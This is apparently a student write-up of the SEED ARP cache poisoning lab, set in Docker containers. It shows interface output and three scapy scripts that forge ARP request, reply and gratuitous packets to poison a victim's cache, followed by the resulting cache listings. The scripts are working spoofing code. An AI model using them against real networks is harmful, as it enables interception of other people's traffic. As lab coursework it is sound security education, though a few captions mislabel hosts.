ARP Cache Poisoning Attack Lab

Task 1

```
[12/04/21]seed@VM:~/.../Labsetup$ dockps
5013eebe627a  M-10.9.0.105
da1ecc9ce3c5  B-10.9.0.6
2f96b7464a89  A-10.9.0.5
```

In this snippet, we display all containers, where M is the attacker machine.

```
root@0d868dd8be39:/# ifconf
bash: ifconf: command not found
root@0d868dd8be39:/# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.9.0.105  netmask 255.255.255.0  broadcast 10.9.0.25
5
        ether 02:42:0a:09:00:69  txqueuelen 0  (Ethernet)
        RX packets 45  bytes 6200 (6.2 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 6  bytes 252 (252.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
```

In this snippet, we display the attacker's IP and MAC addresses, 10.9.0.105 and 02:42:0a:09:00:69, respectively.

```
root@650e3b3e7971:/# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.9.0.5  netmask 255.255.255.0  broadcast 10.9.0.255
        ether 02:42:0a:09:00:05  txqueuelen 0  (Ethernet)
        RX packets 47  bytes 6284 (6.2 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 4  bytes 168 (168.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
```

In this snippet, we display A's IP and MAC addresses, 10.9.0.5 and 02:42:0a:09:00:05, respectively.

```
root@8b07fb96fc24:/# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.9.0.6  netmask 255.255.255.0  broadcast 10.9.0.255
        ether 02:42:0a:09:00:06  txqueuelen 0  (Ethernet)
        RX packets 47  bytes 6284 (6.2 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
```

In this snippet, we display A's IP and MAC addresses, 10.9.0.6 and 02:42:0a:09:00:06, respectively.

Task 1.A

```
root@0d868dd8be39:/# cat 1
#!/usr/bin/python3
from scapy.all import *
E = Ether()
A = ARP(hwsrc="02:42:0a:09:00:69", psrc="10.9.0.6", hwdst="02:42:0a
:09:00:05", pdst="10.9.0.5")
pkt = E/A
sendp(pkt)
```

In this snippet, we construct a program to map B's IP address to M's MAC address via request.

```
Address                  HWtype  HWaddress           Flags Mask
        Iface
B-10.9.0.6.net-10.9.0.0  ether   02:42:0a:09:00:69   C
        eth0
M-10.9.0.105.net-10.9.0  ether   02:42:0a:09:00:69   C
        eth0
```

In this snippet, we notice we have mapped B's IP address to M's MAC address.

Task 1.B

```
root@0d868dd8be39:/# cat 2
#!/usr/bin/python3
from scapy.all import *
E = Ether()
A = ARP(hwsrc="02:42:0a:09:00:69", psrc="10.9.0.6", hwdst="02:42:0a
:09:00:05", pdst="10.9.0.5", op=2)
pkt = E/A
sendp(pkt)
```

In this snippet, we construct a program to map B's IP address to M's MAC address via reply. Note the op = 2 field.

```
Address                  HWtype  HWaddress           Flags Mask
        Iface
B-10.9.0.6.net-10.9.0.0  ether   02:42:0a:09:00:69   C
        eth0
M-10.9.0.105.net-10.9.0  ether   02:42:0a:09:00:69   C
        eth0
```

In this snippet, we see A's cache before we execute the reply-based program. Note that B is still in A's cache.

```
Address                  HWtype  HWaddress           Flags Mask
        Iface
B-10.9.0.6.net-10.9.0.0  ether   02:42:0a:09:00:69   C
        eth0
M-10.9.0.105.net-10.9.0  ether   02:42:0a:09:00:69   C
        eth0
```

In this snippet, we see A's cache after we execute the reply-based program. Note that B is still in A's cache.

```
Address                  HWtype  HWaddress           Flags Mask
        Iface
10.9.0.105               ether   02:42:0a:09:00:69   C
        eth0
```

In this snippet, we see A's cache before we execute the reply-based program. Note we removed B from A's cache.

```
Address                  HWtype  HWaddress           Flags Mask
        Iface
10.9.0.105               ether   02:42:0a:09:00:69   C
        eth0
```

In this snippet, we see A's cache after we execute the reply-based program. Note B does not appear in A's cache.

Task 1.C

```
root@0d868dd8be39:/# cat 3
#!/usr/bin/python3
from scapy.all import *
E = Ether()
A = ARP(hwsrc="02:42:0a:09:00:69", psrc="10.9.0.6", hwdst="ff:ff:ff
:ff:ff:ff", pdst="10.9.0.6")
pkt = E/A
sendp(pkt)
```

In this snippet, we construct an ARP gratuitous packet and use it to map B's IP address to M's MAC address.

```
Address                  HWtype  HWaddress           Flags Mask
        Iface
10.9.0.105               ether   02:42:0a:09:00:69   C
        eth0
```

In this snippet, se see that M is in B's cache after executing our program. Previously, there were no elements in it.